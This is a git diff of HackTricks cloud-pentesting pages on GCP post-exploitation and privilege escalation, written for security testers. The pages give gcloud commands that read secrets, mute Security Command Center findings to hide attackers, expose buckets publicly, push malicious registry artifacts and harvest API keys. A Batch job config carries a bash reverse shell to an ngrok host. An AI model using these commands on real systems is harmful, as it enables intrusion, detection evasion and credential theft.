-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
new file mode 100644
index 000000000..e679b0261
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -0,0 +1,22 @@
+# GCP - Secretmanager Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Secretmanager
+
+For more information about Secret Manager check:
+
+{{#ref}}
+../gcp-services/gcp-secrets-manager-enum.md
+{{#endref}}
+
+### `secretmanager.versions.access`
+
+This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
+
+```bash
+# Get clear-text of version 1 of secret: "<secret name>"
+gcloud secrets versions access 1 --secret="<secret_name>"
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
new file mode 100644
index 000000000..837f694ed
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
@@ -0,0 +1,58 @@
+# GCP - Security Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Security
+
+For more information check:
+
+{{#ref}}
+../gcp-services/gcp-security-enum.md
+{{#endref}}
+
+### `securitycenter.muteconfigs.create`
+
+Prevent generation of findings that could detect an attacker by creating a `muteconfig`:
+
+```bash
+# Create Muteconfig
+gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
+```
+
+### `securitycenter.muteconfigs.update`
+
+Prevent generation of findings that could detect an attacker by updating a `muteconfig`:
+
+```bash
+# Update Muteconfig
+gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
+```
+
+### `securitycenter.findings.bulkMuteUpdate`
+
+Mute findings based on a filer:
+
+```bash
+# Mute based on a filter
+gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
+```
+
+A muted finding won't appear in the SCC dashboard and reports.
+
+### `securitycenter.findings.setMute`
+
+Mute findings based on source, findings...
+
+```bash
+gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
+```
+
+### `securitycenter.findings.update`
+
+Update a finding to indicate erroneous information:
+
+```bash
+gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
new file mode 100644
index 000000000..38ebcb8ed
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -0,0 +1,34 @@
+# GCP - Storage Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Storage
+
+For more information about CLoud Storage check this page:
+
+{{#ref}}
+../gcp-services/gcp-storage-enum.md
+{{#endref}}
+
+### Give Public Access
+
+It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
+
+```bash
+# Disable public prevention
+gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
+
+# Make all objects in a bucket public
+gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
+## I don't think you can make specific objects public just with IAM
+
+# Make a bucket or object public (via ACL)
+gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
+gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
+```
+
+If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+
+To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
new file mode 100644
index 000000000..d2f1698bd
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
@@ -0,0 +1,21 @@
+# GCP - Workflows Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Workflow
+
+Basic information:
+
+{{#ref}}
+../gcp-services/gcp-workflows-enum.md
+{{#endref}}
+
+### Post Exploitation
+
+The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-workflows-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md
similarity index 55%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md
index 7e46a20ba..b79f6f274 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md
@@ -1,19 +1,6 @@
 # GCP - Privilege Escalation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Introduction to GCP Privilege Escalation <a href="#introduction-to-gcp-privilege-escalation" id="introduction-to-gcp-privilege-escalation"></a>
 
@@ -23,25 +10,23 @@ There are certain permissions that will allow a user to **get even more permissi
 
 Therefore, I would like to separate GCP privilege escalation techniques in **2 groups**:
 
-* **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account.
-* **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function.
-  * Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now it’s less frequent (but can still happen).
+- **Privesc to a principal**: This will allow you to **impersonate another principal**, and therefore act like it with all his permissions. e.g.: Abuse _getAccessToken_ to impersonate a service account.
+- **Privesc on the resource**: This will allow you to **get more permissions over the specific resource**. e.g.: you can abuse _setIamPolicy_ permission over cloudfunctions to allow you to trigger the function.
+  - Note that some **resources permissions will also allow you to attach an arbitrary service account** to the resource. This means that you will be able to launch a resource with a SA, get into the resource, and **steal the SA token**. Therefore, this will allow to escalate to a principal via a resource escalation. This has happened in several resources previously, but now it’s less frequent (but can still happen).
 
 Obviously, the most interesting privilege escalation techniques are the ones of the **second group** because it will allow you to **get more privileges outside of the resources you already have** some privileges over. However, note that **escalating in resources** may give you also access to **sensitive information** or even to **other principals** (maybe via reading a secret that contains a token of a SA).
 
-{% hint style="warning" %}
-It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also.
-{% endhint %}
+> [!WARNING]
+> It's important to note also that in **GCP Service Accounts are both principals and permissions**, so escalating privileges in a SA will allow you to impersonate it also.
 
-{% hint style="info" %}
-The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API.
-{% endhint %}
+> [!NOTE]
+> The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API.
 
 ## Permissions for Privilege Escalation Methodology
 
 This is how I **test for specific permissions** to perform specific actions inside GCP.
 
-1. Download the github repo [https://github.com/carlospolop/gcp\_privesc\_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
+1. Download the github repo [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
 2. Add in tests/ the new script
 
 ## Bypassing access scopes <a href="#bypassing-access-scopes" id="bypassing-access-scopes"></a>
@@ -67,9 +52,8 @@ done
 
 The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other service account/users/groups privileges. Chaining escalations until you have admin access over the organization.
 
-{% hint style="warning" %}
-GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
-{% endhint %}
+> [!WARNING]
+> GCP has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
 
 **The subpages of this section are ordered by services. You can find on each service different ways to escalate privileges on the services.**
 
@@ -77,27 +61,14 @@ GCP has **hundreds** (if not thousands) of **permissions** that an entity can be
 
 If you are inside a machine in GCP you might be able to abuse permissions to escalate privileges even locally:
 
-{% content-ref url="gcp-local-privilege-escalation-ssh-pivoting.md" %}
-[gcp-local-privilege-escalation-ssh-pivoting.md](gcp-local-privilege-escalation-ssh-pivoting.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-local-privilege-escalation-ssh-pivoting.md
+{{#endref}}
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
-* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner)
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
new file mode 100644
index 000000000..810589dcf
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
@@ -0,0 +1,78 @@
+# GCP - Apikeys Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Apikeys
+
+The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
+
+Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
+
+For more information about API Keys check:
+
+{{#ref}}
+../gcp-services/gcp-api-keys-enum.md
+{{#endref}}
+
+For other ways to create API keys check:
+
+{{#ref}}
+gcp-serviceusage-privesc.md
+{{#endref}}
+
+### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
+
+As you might not know which APIs are enabled in the project or the restrictions applied to the API key you found, it would be interesting to run the tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**
+
+### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
+
+This permission allows to **create an API key**:
+
+```bash
+gcloud services api-keys create
+Operation [operations/akmf.p7-[...]9] complete. Result: {
+    "@type":"type.googleapis.com/google.api.apikeys.v2.Key",
+    "createTime":"2022-01-26T12:23:06.281029Z",
+    "etag":"W/\"HOhA[...]==\"",
+    "keyString":"AIzaSy[...]oU",
+    "name":"projects/5[...]6/locations/global/keys/f707[...]e8",
+    "uid":"f707[...]e8",
+    "updateTime":"2022-01-26T12:23:06.378442Z"
+}
+```
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
+
+> [!CAUTION]
+> Note that by default users have permissions to create new projects adn they are granted Owner role over the new project. So a user could c**reate a project and an API key inside this project**.
+
+### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
+
+These permissions allows **list and get all the apiKeys and get the Key**:
+
+```bash
+for  key  in  $(gcloud services api-keys list --uri); do
+	gcloud services api-keys get-key-string "$key"
+done
+```
+
+You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
+
+### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
+
+These permissions allow you to **list and regenerate deleted api keys**. The **API key is given in the output** after the **undelete** is done:
+
+```bash
+gcloud services api-keys list --show-deleted
+gcloud services api-keys undelete <key-uid>
+```
+
+### Create Internal OAuth Application to phish other workers
+
+Check the following page to learn how to do this, although this action belongs to the service **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
+
+{{#ref}}
+../../workspace-security/gws-google-platforms-phishing/
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
similarity index 64%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
index b9ced0feb..38c219102 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md
@@ -1,27 +1,14 @@
 # GCP - AppEngine Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## App Engine
 
 For more information about App Engine check:
 
-{% content-ref url="../gcp-services/gcp-app-engine-enum.md" %}
-[gcp-app-engine-enum.md](../gcp-services/gcp-app-engine-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-app-engine-enum.md
+{{#endref}}
 
 ### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
 
@@ -39,9 +26,8 @@ gcloud app deploy #Upload and start application inside the folder
 
 Give it at least 10-15min, if it doesn't work call **deploy another of times** and wait some minutes.
 
-{% hint style="info" %}
-It's **possible to indicate the Service Account to use** but by default, the App Engine default SA is used.
-{% endhint %}
+> [!NOTE]
+> It's **possible to indicate the Service Account to use** but by default, the App Engine default SA is used.
 
 The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
 
@@ -56,7 +42,7 @@ gsutil ls
 # Download code
 mkdir /tmp/appengine2
 cd /tmp/appengine2
-## In this case it was found in this custom bucket but you could also use the 
+## In this case it was found in this custom bucket but you could also use the
 ## buckets generated when the App Engine is created
 gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
 unzip labs_appengine_1_premissions_privesc.zip
@@ -98,11 +84,9 @@ gcloud app instances ssh --service <app-name> --version <version-id> <ID>
 
 I think this just change the background SA google will use to setup the applications, so I don't think you can abuse this to steal the service account.
 
-{% code overflow="wrap" %}
 ```bash
 gcloud app update --service-account=<sa_email>
 ```
-{% endcode %}
 
 ### `appengine.versions.getFileContents`, `appengine.versions.update`
 
@@ -116,26 +100,13 @@ However, with read & write access over this bucket, it's possible to escalate pr
 
 For more information and a **PoC check the relevant information from this page**:
 
-{% content-ref url="gcp-storage-privesc.md" %}
-[gcp-storage-privesc.md](gcp-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-storage-privesc.md
+{{#endref}}
 
 ### Write Access over the Artifact Registry
 
 Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
 It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
new file mode 100644
index 000000000..36c973132
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
@@ -0,0 +1,173 @@
+# GCP - Artifact Registry Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Artifact Registry
+
+For more information about Artifact Registry check:
+
+{{#ref}}
+../gcp-services/gcp-artifact-registry-enum.md
+{{#endref}}
+
+### artifactregistry.repositories.uploadArtifacts
+
+With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:
+
+```bash
+# Configure docker to use gcloud to authenticate with Artifact Registry
+gcloud auth configure-docker <location>-docker.pkg.dev
+
+# tag the image to upload it
+docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
+
+# Upload it
+docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
+```
+
+> [!CAUTION]
+> It was checked that it's **possible to upload a new malicious docker** image with the same name and tag as the one already present, so the **old one will lose the tag** and next time that image with that tag is **downloaded the malicious one** will be downloaded.
+
+<details>
+
+<summary>Upload a Python library</summary>
+
+**Start by creating the library to upload** (if you can download the latest version from the registry you can avoid this step):
+
+1.  **Set up your project structure**:
+
+    - Create a new directory for your library, e.g., `hello_world_library`.
+    - Inside this directory, create another directory with your package name, e.g., `hello_world`.
+    - Inside your package directory, create an `__init__.py` file. This file can be empty or can contain initializations for your package.
+
+    ```bash
+    mkdir hello_world_library
+    cd hello_world_library
+    mkdir hello_world
+    touch hello_world/__init__.py
+    ```
+
+2.  **Write your library code**:
+
+    - Inside the `hello_world` directory, create a new Python file for your module, e.g., `greet.py`.
+    - Write your "Hello, World!" function:
+
+    ```python
+    # hello_world/greet.py
+    def say_hello():
+        return "Hello, World!"
+    ```
+
+3.  **Create a `setup.py` file**:
+
+    - In the root of your `hello_world_library` directory, create a `setup.py` file.
+    - This file contains metadata about your library and tells Python how to install it.
+
+    ```python
+    # setup.py
+    from setuptools import setup, find_packages
+
+    setup(
+        name='hello_world',
+        version='0.1',
+        packages=find_packages(),
+        install_requires=[
+            # Any dependencies your library needs
+        ],
+    )
+    ```
+
+**Now, lets upload the library:**
+
+1.  **Build your package**:
+
+    - From the root of your `hello_world_library` directory, run:
+
+    ```sh
+    python3 setup.py sdist bdist_wheel
+    ```
+
+2.  **Configure authentication for twine** (used to upload your package):
+    - Ensure you have `twine` installed (`pip install twine`).
+    - Use `gcloud` to configure credentials:
+
+````
+```sh
+twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
+```
+````
+
+3. **Clean the build**
+
+```bash
+rm -rf dist build hello_world.egg-info
+```
+
+</details>
+
+> [!CAUTION]
+> It's not possible to upload a python library with the same version as the one already present, but it's possible to upload **greater versions** (or add an extra **`.0` at the end** of the version if that works -not in python though-), or to **delete the last version an upload a new one with** (needed `artifactregistry.versions.delete)`**:**
+>
+> ```sh
+> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
+> ```
+
+### `artifactregistry.repositories.downloadArtifacts`
+
+With this permission you can **download artifacts** and search for **sensitive information** and **vulnerabilities**.
+
+Download a **Docker** image:
+
+```sh
+# Configure docker to use gcloud to authenticate with Artifact Registry
+gcloud auth configure-docker <location>-docker.pkg.dev
+
+# Dowload image
+docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
+```
+
+Download a **python** library:
+
+```bash
+pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
+```
+
+- What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:
+
+{{#ref}}
+../gcp-persistence/gcp-artifact-registry-persistence.md
+{{#endref}}
+
+### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
+
+Delete artifacts from the registry, like docker images:
+
+```bash
+# Delete a docker image
+gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
+```
+
+### `artifactregistry.repositories.delete`
+
+Detele a full repository (even if it has content):
+
+```
+gcloud artifacts repositories delete <repo-name> --location=<location>
+```
+
+### `artifactregistry.repositories.setIamPolicy`
+
+An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.
+
+### Pivoting to other Services through Artifact Registry Read & Write
+
+- **Cloud Functions**
+
+When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
+
+- **App Engine**
+
+Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
+It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
new file mode 100644
index 000000000..b8839f01d
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
@@ -0,0 +1,58 @@
+# GCP - Batch Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Batch
+
+Basic information:
+
+{{#ref}}
+../gcp-services/gcp-batch-enum.md
+{{#endref}}
+
+### `batch.jobs.create`, `iam.serviceAccounts.actAs`
+
+It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).
+
+```bash
+gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
+{
+  "name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
+  "taskGroups": [
+    {
+      "taskCount": "1",
+      "parallelism": "1",
+      "taskSpec": {
+        "computeResource": {
+          "cpuMilli": "1000",
+          "memoryMib": "512"
+        },
+        "runnables": [
+          {
+            "script": {
+              "text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
+            }
+          }
+        ],
+        "volumes": []
+      }
+    }
+  ],
+  "allocationPolicy": {
+    "instances": [
+      {
+        "policy": {
+          "provisioningModel": "STANDARD",
+          "machineType": "e2-micro"
+        }
+      }
+    ]
+  },
+  "logsPolicy": {
+    "destination": "CLOUD_LOGGING"
+  }
+}
+EOD
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md
similarity index 58%
